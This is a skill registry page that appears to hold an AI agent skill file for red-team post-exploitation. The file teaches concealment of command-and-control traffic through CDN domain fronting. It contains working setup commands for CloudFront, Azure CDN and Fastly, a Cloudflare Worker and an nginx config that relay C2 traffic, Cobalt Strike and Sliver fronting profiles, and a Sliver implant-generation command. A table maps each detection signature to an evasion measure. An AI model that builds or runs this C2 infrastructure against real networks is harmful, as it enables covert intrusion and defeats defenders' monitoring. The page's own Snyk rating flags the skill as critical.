CtrlK
BlogDocsLog inGet started
Tessl Logo

c2-domain-fronting

Domain fronting and CDN abuse for C2 concealment — CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver.

66

Quality

80%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md
SKILL.md
Quality
Evals
Security

Domain Fronting & CDN Abuse for C2

Domain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., cdn.microsoft.com) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN.

Quick Reference

# Test domain fronting via CloudFront
curl -s -H "Host: <C2_DISTRIBUTION>.cloudfront.net" https://allowed.cloudfront.net/search

# Test Azure CDN fronting
curl -s -H "Host: <C2_ENDPOINT>.azureedge.net" https://ajax.aspnetcdn.com/test

# Sliver HTTPS listener with domain fronting
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>

# Cobalt Strike — set in Malleable C2 profile
# header "Host" "<C2_DISTRIBUTION>.cloudfront.net";

MITRE ATT&CK Mapping

TechniqueIDUsage in Skill
Proxy: Domain FrontingT1090.004CDN-based SNI/Host header mismatch for C2
Web Service: Bidirectional CommunicationT1102.002CDN edge as bidirectional C2 relay
Data ObfuscationT1001C2 traffic disguised as CDN content requests

1. The Domain Fronting Technique

How It Works

┌─────────┐    TLS SNI: allowed.example.com    ┌──────────┐
│ Implant │ ─────────────────────────────────►  │   CDN    │
│         │    Host: c2.attacker.cloudfront.net  │  Edge    │
└─────────┘                                     └────┬─────┘
                                                     │ Routes by Host header
                                                     ▼
                                               ┌──────────┐
                                               │ C2 Origin│
                                               │  Server  │
                                               └──────────┘

TLS layer (visible to network monitor):

  • SNI = allowed.example.com (high-reputation domain on same CDN)
  • Certificate = CDN wildcard cert (e.g., *.cloudfront.net)
  • IP = CDN edge node

HTTP layer (inside TLS, invisible to monitor):

  • Host: c2-distribution.cloudfront.net → CDN routes to operator's origin

Result: Blocking the C2 requires blocking the entire CDN.

Requirements

  1. CDN that routes by Host header (not all do — see provider matrix)
  2. A legitimate high-reputation domain on the same CDN for the SNI
  3. Operator's C2 server registered as a CDN origin/backend
  4. The CDN must not enforce SNI == Host (many now do)

2. CloudFront Domain Fronting

Setup

# 1. Create CloudFront distribution pointing to C2 origin
aws cloudfront create-distribution \
  --origin-domain-name <C2_ORIGIN_IP_OR_DOMAIN> \
  --default-root-object index.html \
  --query 'Distribution.DomainName'
# Returns: d1234abcdef.cloudfront.net

# 2. Find a frontable domain (legitimate site on CloudFront)
# Use: dig <CANDIDATE_DOMAIN> — look for CNAME to *.cloudfront.net
dig allowed-domain.com CNAME +short
# Output: d9876xyz.cloudfront.net. → same CDN, usable as front

# 3. Test fronting
curl -v -H "Host: d1234abcdef.cloudfront.net" \
  https://allowed-domain.com/beacon

# Successful: HTTP 200 from your C2 origin
# Failed: HTTP 403 "The request could not be satisfied" — front domain not viable

CloudFront Configuration

# Create distribution via JSON config
cat > /workspace/c2/cloudfront-config.json << 'EOF'
{
  "CallerReference": "c2-$(date +%s)",
  "Origins": {
    "Items": [{
      "Id": "c2-origin",
      "DomainName": "<C2_ORIGIN>",
      "CustomOriginConfig": {
        "HTTPPort": 80,
        "HTTPSPort": 443,
        "OriginProtocolPolicy": "https-only"
      }
    }],
    "Quantity": 1
  },
  "DefaultCacheBehavior": {
    "TargetOriginId": "c2-origin",
    "ViewerProtocolPolicy": "https-only",
    "AllowedMethods": {
      "Items": ["GET", "HEAD", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
      "Quantity": 7
    },
    "ForwardedValues": {
      "QueryString": true,
      "Cookies": {"Forward": "all"},
      "Headers": {"Items": ["*"], "Quantity": 1}
    },
    "MinTTL": 0, "DefaultTTL": 0, "MaxTTL": 0
  },
  "Enabled": true,
  "Comment": ""
}
EOF

aws cloudfront create-distribution --distribution-config file:///workspace/c2/cloudfront-config.json

Current Status (CloudFront)

AWS partially mitigated domain fronting in 2018. CloudFront now validates that the Host header matches a configured CNAME or the distribution's own domain. Pure cross-distribution fronting is blocked. However:

  • Fronting within the same distribution (multiple CNAMEs) still works
  • Fronting to distributions without custom domains may work intermittently
  • CloudFront Functions can be used to rewrite headers before origin routing

3. Azure CDN Domain Fronting

Azure CDN (via Verizon/Akamai POP) has historically been more permissive with Host header routing.

Setup

# 1. Create Azure CDN profile and endpoint
az cdn profile create --name c2-cdn --resource-group <RG> --sku Standard_Verizon
az cdn endpoint create \
  --name <C2_ENDPOINT> \
  --profile-name c2-cdn \
  --resource-group <RG> \
  --origin <C2_ORIGIN> \
  --origin-host-header <C2_ORIGIN>

# Endpoint: <C2_ENDPOINT>.azureedge.net

# 2. Test fronting with a high-reputation Azure CDN domain
curl -v -H "Host: <C2_ENDPOINT>.azureedge.net" \
  https://ajax.aspnetcdn.com/test

# 3. Alternative fronting domains on Azure CDN:
#    - ajax.aspnetcdn.com
#    - az416426.vo.msecnd.net
#    - Various *.azureedge.net endpoints

Azure-Specific Notes

  • Azure has been tightening validation since 2021
  • Standard_Microsoft SKU enforces SNI/Host matching — use Standard_Verizon
  • Azure Front Door provides similar capabilities with more control
  • Test each frontable domain before deployment; availability changes

4. Fastly Domain Fronting

Fastly's architecture makes fronting straightforward when a target domain shares the Fastly POP.

Setup

# 1. Create Fastly service via API
curl -X POST "https://api.fastly.com/service" \
  -H "Fastly-Key: <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"name":"c2-service","type":"vcl"}'

# 2. Add backend (C2 origin)
curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/backend" \
  -H "Fastly-Key: <API_TOKEN>" \
  -d "name=c2-origin&address=<C2_ORIGIN>&port=443&use_ssl=1"

# 3. Add domain
curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/domain" \
  -H "Fastly-Key: <API_TOKEN>" \
  -d "name=c2-front.global.ssl.fastly.net"

# 4. Activate version
curl -X PUT "https://api.fastly.com/service/<SVC_ID>/version/<VER>/activate" \
  -H "Fastly-Key: <API_TOKEN>"

# 5. Test
curl -v -H "Host: c2-front.global.ssl.fastly.net" \
  https://legitimate-customer.global.ssl.fastly.net/beacon

5. CDN-Based Redirectors

When pure domain fronting is unavailable, CDN edge functions (CloudFront Functions, Cloudflare Workers, Fastly Compute) act as smart redirectors.

Cloudflare Worker Redirector

// Cloudflare Worker — proxies C2 traffic to origin
// Deploy on a legitimate-looking domain (e.g., analytics-cdn.example.com)

addEventListener("fetch", event => {
  event.respondWith(handleRequest(event.request));
});

async function handleRequest(request) {
  const C2_ORIGIN = "https://<C2_SERVER>";
  const url = new URL(request.url);

  // Only proxy specific paths (blend with legitimate 404s on others)
  if (!url.pathname.startsWith("/api/v2/")) {
    return new Response("Not Found", { status: 404 });
  }

  // Forward to C2 origin
  const c2Url = C2_ORIGIN + url.pathname + url.search;
  const modifiedRequest = new Request(c2Url, {
    method: request.method,
    headers: request.headers,
    body: request.body
  });

  const response = await fetch(modifiedRequest);

  // Strip identifying headers from response
  const modifiedResponse = new Response(response.body, response);
  modifiedResponse.headers.set("Server", "cloudflare");
  modifiedResponse.headers.delete("X-Powered-By");

  return modifiedResponse;
}

Nginx Redirector (On CDN Origin)

# /etc/nginx/sites-available/c2-redirect.conf
# Sits behind CDN; forwards matching requests to teamserver

server {
    listen 443 ssl;
    server_name <C2_ORIGIN>;

    ssl_certificate     /etc/letsencrypt/live/<C2_ORIGIN>/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/<C2_ORIGIN>/privkey.pem;

    # Proxy Beacon traffic to teamserver
    location /s/ref {
        proxy_pass https://127.0.0.1:8443;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_ssl_verify off;
    }

    location /gp/product {
        proxy_pass https://127.0.0.1:8443;
        proxy_set_header Host $host;
        proxy_ssl_verify off;
    }

    # Return legitimate content for other paths (categorization)
    location / {
        root /var/www/html;
        index index.html;
    }
}

6. Cobalt Strike Integration

Malleable C2 Profile for Domain Fronting

# /workspace/profiles/fronting.profile

set sample_name "CDN Fronting Profile";
set sleeptime "60000";
set jitter    "40";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set host_stage "false";

https-certificate {
    # Use the CDN's certificate — no custom cert needed
    # The CDN terminates TLS; origin connection is separate
    set CN "*.cloudfront.net";
    set O  "Amazon";
    set C  "US";
}

http-get {
    set uri "/s/ref=nb_sb_noss_2";

    client {
        header "Accept" "*/*";
        header "Accept-Language" "en-US,en;q=0.5";
        # This is the critical header — CDN routes by it
        header "Host" "<C2_DISTRIBUTION>.cloudfront.net";

        metadata {
            base64url;
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/html; charset=utf-8";
        header "Server" "CloudFront";
        header "X-Cache" "Hit from cloudfront";

        output {
            netbios;
            prepend "<!DOCTYPE html><html><body>";
            append "</body></html>";
            print;
        }
    }
}

http-post {
    set uri "/api/v2/submit";

    client {
        header "Content-Type" "application/json";
        header "Host" "<C2_DISTRIBUTION>.cloudfront.net";

        id {
            base64url;
            header "X-Request-Id";
        }

        output {
            base64url;
            print;
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            netbios;
            prepend "{\"status\":\"ok\",\"payload\":\"";
            append "\"}";
            print;
        }
    }
}

Beacon Configuration

# In Cobalt Strike listener config:
# HTTPS Host (stager):  <FRONTABLE_DOMAIN>
# HTTPS Host (post):    <FRONTABLE_DOMAIN>
# HTTPS Port:           443
# Profile:              fronting.profile (loaded at teamserver start)
#
# The listener binds on the teamserver; the CDN proxies traffic to it.
# The Beacon connects to <FRONTABLE_DOMAIN>:443 (CDN edge).
# The Host header routes to <C2_DISTRIBUTION>.cloudfront.net -> C2 origin.

7. Sliver Integration

Sliver HTTPS with Domain Fronting

# In Sliver console:

# 1. Start HTTPS listener on C2 origin
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>

# 2. Generate implant that connects to frontable domain
generate beacon --https <FRONTABLE_DOMAIN> --os windows --arch amd64 \
  --seconds 60 --jitter 40 --skip-symbols \
  --save /workspace/exploit/

# 3. Custom HTTP C2 profile for fronting
# Save as profiles/fronting.json

Sliver HTTP C2 Profile for Fronting

{
  "implant_config": {
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "url_parameters": [],
    "headers": [
      {"name": "Host", "value": "<C2_DISTRIBUTION>.cloudfront.net", "probability": 100},
      {"name": "Accept", "value": "text/html", "probability": 100}
    ]
  },
  "server_config": {
    "headers": [
      {"name": "Content-Type", "value": "text/html; charset=utf-8", "probability": 100},
      {"name": "Server", "value": "CloudFront", "probability": 100},
      {"name": "X-Cache", "value": "Hit from cloudfront", "probability": 100}
    ]
  }
}

8. TLS SNI vs Host Header

TLS ClientHello (visible):  SNI = allowed-site.cloudfront.net
HTTP Request (encrypted):   Host: c2-dist.cloudfront.net  ← CDN routes by THIS
Failure ModeCauseFix
HTTP 403CDN validates SNI == HostTry alternate CDN or redirector
TLS errorSNI domain not on CDNVerify domain resolves to CDN edge
HTTP 421HTTP/2 ORIGIN frame validationFall back to HTTP/1.1
502/504CDN can't reach C2 originWhitelist CDN IP ranges on origin firewall

ECH/ESNI: Encrypted Client Hello encrypts the SNI field entirely — eliminates the need for fronting when CDN supports it. Test: curl -v --ech true https://<C2>/beacon

Detection Signatures

IndicatorPatternMitigation
SNI/Host mismatchTLS SNI differs from HTTP Host headerUse CDN domains from same organization
CDN origin pullUnusual origin IP in CDN access logsUse cloud VM as origin; rotate IPs
JA3 fingerprintTLS fingerprint doesn't match expected browserMatch JA3 to target browser version
Beacon timingRegular HTTPS requests to CDN at fixed intervalsHigh jitter (50%+); randomize URI paths
HTTP/2 ORIGINCDN pushes ORIGIN frame revealing allowed hostsFall back to HTTP/1.1 in profile
Response size anomalyC2 responses differ from legitimate contentPad responses; prepend/append real HTML
Certificate transparencyCT logs reveal C2 distribution domainUse existing CDN distributions

Error Handling & Edge Cases

IssueSymptomResolution
CDN blocks frontingHTTP 403 on every requestSwitch CDN provider or use CDN redirector pattern
DNS resolution failsFrontable domain doesn't resolveVerify domain is active; check DNS propagation
Origin connection refusedCDN can't reach C2 backendEnsure C2 server allows CDN IP ranges in firewall
TLS version mismatchHandshake failureMatch CDN's minimum TLS version (usually 1.2+)
Rate limitingCDN rate-limits requests from same IPIncrease sleep; distribute across edge POPs
HTTP/2 enforcementCDN upgrades to HTTP/2; breaks frontingForce HTTP/1.1 in profile or use h2 with correct ORIGIN
CDN cachingStale C2 responses served from cacheSet Cache-Control: no-store; TTL=0 in CDN config
Provider policy changeFronting stops working without warningMonitor; maintain fallback C2 channel (DNS, alt CDN)

Decision Gate

Is domain fronting viable for this engagement?
├── Test: curl -H "Host: <C2>.cloudfront.net" https://<FRONT_DOMAIN>/
│   ├── HTTP 200 from C2 origin → Fronting works
│   │   ├── CloudFront available → Use CloudFront + Malleable C2 profile
│   │   ├── Azure CDN available → Use azureedge.net fronting
│   │   └── Fastly available → Use Fastly global SSL fronting
│   ├── HTTP 403 → CDN enforces SNI/Host match
│   │   ├── CDN redirector pattern (Cloudflare Worker, Lambda@Edge)
│   │   ├── Same-distribution fronting (multiple CNAMEs)
│   │   └── Try alternate CDN provider
│   └── Connection error → Domain not on CDN
│       └── Use CDN redirector or direct HTTPS with categorized domain
├── ECH/ESNI available on target CDN?
│   ├── YES → ECH eliminates need for fronting; SNI is encrypted
│   └── NO  → Standard fronting or redirector required
└── Fallback strategy
    ├── Primary: Domain fronting via CDN
    ├── Secondary: CDN Worker/Function redirector
    └── Tertiary: Alternative C2 channel (see c2-alternative-channels)

Tools & Resources

ToolPurposeSource
Cobalt StrikeMalleable C2 profiles with fronting supporthttps://www.cobaltstrike.com/
SliverOpen-source C2 with HTTP profile customizationhttps://github.com/BishopFox/sliver
FindFrontableDomainsDiscover CDN-hosted domains for frontinghttps://github.com/rvrsh3ll/FindFrontableDomains
DomainHunterExpired domain finder with categorizationhttps://github.com/threatexpress/domainhunter
Meek (Tor)Domain fronting transport pluginhttps://trac.torproject.org/projects/tor/wiki/doc/meek
Cloudflare WorkersEdge function C2 redirectorhttps://workers.cloudflare.com/
mod_rewriteApache redirector ruleshttps://github.com/threatexpress/cs2modrewrite
RedWardenC2 traffic inspection/filtering proxyhttps://github.com/mgeeky/RedWarden
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.